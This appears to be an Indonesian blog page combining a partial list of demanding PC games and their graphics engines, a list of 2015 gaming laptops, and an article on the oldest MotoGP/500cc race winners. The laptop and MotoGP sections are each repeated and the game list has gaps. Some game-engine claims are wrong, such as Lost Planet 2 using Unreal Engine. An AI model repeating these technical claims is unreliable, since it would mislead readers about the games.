Engine Frosbite 2.0 merevolusi dunia gaming grafis ditaun 2011 ini pada penggunaan level dx11, dimana grafis yg ditampilkan btul2 powerful dan butuh VGA yg mumpuni. Ini adlh engine dx11 terbaik saat ini. Bahkan engine ini sampe membuat AMD dan NVIDIA kocar-kacir untuk membuat driver VGA yg baik.
4. STALKER: CALL OF PHRYPAT (Benchmarking standard game)
Menggunakan engine game yg sekilas hampir sama dgn A4 Engine milik Metro 2033, namun dgn modifikasi dx10 dan kompatibel dx11. Sebenarnya efek2 darah dan asap dan penampakannya yg membuatnya berat. Game ini sering digunakan untuk menguji renderer VGA dx11
5. LOST PLANET 2 (Benchmarking standard game)
Menggunakan Unreal Engine yg dimodif untuk penggunaan dx11, serta efek2nya yg melimpah dari hutan, efek asap, kabut, ledakan, darah, dll membuatnya menjadi game berat yg butuh task running yg berat pula dan seimbang antara kemampuan grafis dan render.
6. BATMAN: ARKHAM CITY
7. BATTLEFIELD: BAD COMPANY 2
Pertama kalinya engine game Frosbite 1.0 unjuk gigi, cuma ini masih yg versi dx10. Walau gitu, grafisnya btul2 detail bahkan bisa jadi saingan CRYEngine 2. Juga pertama kalinya menggukanan render game HBAO yg membuatnya grafis menyamai dunka nyata.
10 LAPTOP GAME TERBAIK 2015
Urutan 10 nama-nama laptop gaming terbaik di dunia 2015:
1. Alienware ALW17-6869sLV,17-Inch
2. MSI GE70 Apache Pro-012,17.3-Inch
3. MSI G Series GE70 2OE-017US, 17.3-Inch
4. Razer Blade, 14 Inch
5. Alienware 18 ALW18-2001sLV, 18-Inch
6. ASUS Republic of Gamers G73JH-A1, 17-Inch
7. ASUS G73SW-A1 Republic of Gamers, 17.3-Inch
8. HP Envy 17-j100 Leap Motion i7-4702MQ 16GB 2TB 750M 4GB
9. Toshiba Qosmio X75-A7295, 17.3-Inch
10. Alienware 17 ALW17-6877sLV, 17-Inc
1. Alienware ALW17-6869sLV,17-Inch
2. MSI GE70 Apache Pro-012,17.3-Inch
3. MSI G Series GE70 2OE-017US, 17.3-Inch
4. Razer Blade, 14 Inch
5. Alienware 18 ALW18-2001sLV, 18-Inch
6. ASUS Republic of Gamers G73JH-A1, 17-Inch
7. ASUS G73SW-A1 Republic of Gamers, 17.3-Inch
8. HP Envy 17-j100 Leap Motion i7-4702MQ 16GB 2TB 750M 4GB
9. Toshiba Qosmio X75-A7295, 17.3-Inch
10. Alienware 17 ALW17-6877sLV, 17-Inc
PEMBALAP MOTO GP FAVORIT GW
Kemenangan di Misano pada dua pekan lalu tak hanya berarti 25 poin bagi Valentino Rossi, kemenangan itu juga membuat namanya masuk dalam salah satu rekor pembalap MotoGP yang sudah berusia senja.
Selain telah berpuasa selama lima musim sejak 2009 untuk menjuarai Misano, Rossi juga mencatatkan dirinya sebagai riders asal Italia dengan karier terpanjang, yaitu 18 tahun 27 hari sejak kemenangan pertamanya di kelas 125cc di Brno pada 1996 silam.
Catatan itu menghapus pemegang rekor sebelumnya, Loris Capirossi dengan karier menterengnya selama 17 tahun 49 hari. Tak hanya itu, Rossi juga memperpanjang rekor kemenangannya di kelas 500cc/MotoGP yang kini berusia 14 tahun 67 hari sejak kemenangan pertamanya di kelas utama pada 2000 lalu di sirkuit Donington Park.
Bagaimanapun juga, usia Rossi kini menginjak 35 tahun dan masih memiliki perjalanan panjang jika ingin mematahkan rekor kemenangan dari pembalap tertua di 500cc/MotoGP. Rekor itu dipegang oleh pembalap asal Inggris, Fergus Anderson yang meraih kemenangan di kelas 500cc saat usia 44 tahun pada seri Spanyol musim 1953 silam.
Berikut daftar 10 pembalap 500cc/MotoGP yang berprestasi di usia senja karier profesional (sumber Crash):
Pengendara tertua menang di 500cc/MotoGP:
No-nama pembalap-asal-usia-kelas-seri-tahun-sirkuit
1. Fergus Anderson (Inggris) 44 tahun 237 hari 500cc/Spanyol/1953/Montjuich
2. Jack Findlay (Australia) 42 tahun 85 hari 500cc/Austria/1977/Salzburgring
3. Les Graham (Inggris) 41 tahun 21 hari 500cc/Spanyol/1952/Montjuich
4. Jack Ahearn (Australia) 39 tahun 327 hari 500cc/Finlandia/1964/Imatra
5. Harold Daniell (Inggris) 39 tahun 240 hari 500cc/Inggris/1949/Isle of Man TT
6. Frantisek Stastny (Rep. Ceko) 38 tahun 247 hari 500cc/Jerman Barat/1966/Sachsenring
7. Nello Pagani (Italia) 37 tahun 328 hari 500cc/Italia/1949/Monza
8. Troy Bayliss (Australia) 37 tahun 213 hari MotoGP/Valencia/2006/Ricardo Tormo
9. Phil Read (Inggris) 36 tahun 235 hari 500cc/Rep. Ceko/1975/Brno
10. Valentino Rossi (Italia) 35 tahun 210 hari MotoGP/San Marino/2014/Misano
(fmh)
Selain telah berpuasa selama lima musim sejak 2009 untuk menjuarai Misano, Rossi juga mencatatkan dirinya sebagai riders asal Italia dengan karier terpanjang, yaitu 18 tahun 27 hari sejak kemenangan pertamanya di kelas 125cc di Brno pada 1996 silam.
Catatan itu menghapus pemegang rekor sebelumnya, Loris Capirossi dengan karier menterengnya selama 17 tahun 49 hari. Tak hanya itu, Rossi juga memperpanjang rekor kemenangannya di kelas 500cc/MotoGP yang kini berusia 14 tahun 67 hari sejak kemenangan pertamanya di kelas utama pada 2000 lalu di sirkuit Donington Park.
Bagaimanapun juga, usia Rossi kini menginjak 35 tahun dan masih memiliki perjalanan panjang jika ingin mematahkan rekor kemenangan dari pembalap tertua di 500cc/MotoGP. Rekor itu dipegang oleh pembalap asal Inggris, Fergus Anderson yang meraih kemenangan di kelas 500cc saat usia 44 tahun pada seri Spanyol musim 1953 silam.
Berikut daftar 10 pembalap 500cc/MotoGP yang berprestasi di usia senja karier profesional (sumber Crash):
Pengendara tertua menang di 500cc/MotoGP:
No-nama pembalap-asal-usia-kelas-seri-tahun-sirkuit
1. Fergus Anderson (Inggris) 44 tahun 237 hari 500cc/Spanyol/1953/Montjuich
2. Jack Findlay (Australia) 42 tahun 85 hari 500cc/Austria/1977/Salzburgring
3. Les Graham (Inggris) 41 tahun 21 hari 500cc/Spanyol/1952/Montjuich
4. Jack Ahearn (Australia) 39 tahun 327 hari 500cc/Finlandia/1964/Imatra
5. Harold Daniell (Inggris) 39 tahun 240 hari 500cc/Inggris/1949/Isle of Man TT
6. Frantisek Stastny (Rep. Ceko) 38 tahun 247 hari 500cc/Jerman Barat/1966/Sachsenring
7. Nello Pagani (Italia) 37 tahun 328 hari 500cc/Italia/1949/Monza
8. Troy Bayliss (Australia) 37 tahun 213 hari MotoGP/Valencia/2006/Ricardo Tormo
9. Phil Read (Inggris) 36 tahun 235 hari 500cc/Rep. Ceko/1975/Brno
10. Valentino Rossi (Italia) 35 tahun 210 hari MotoGP/San Marino/2014/Misano
Langganan:
Postingan (Atom)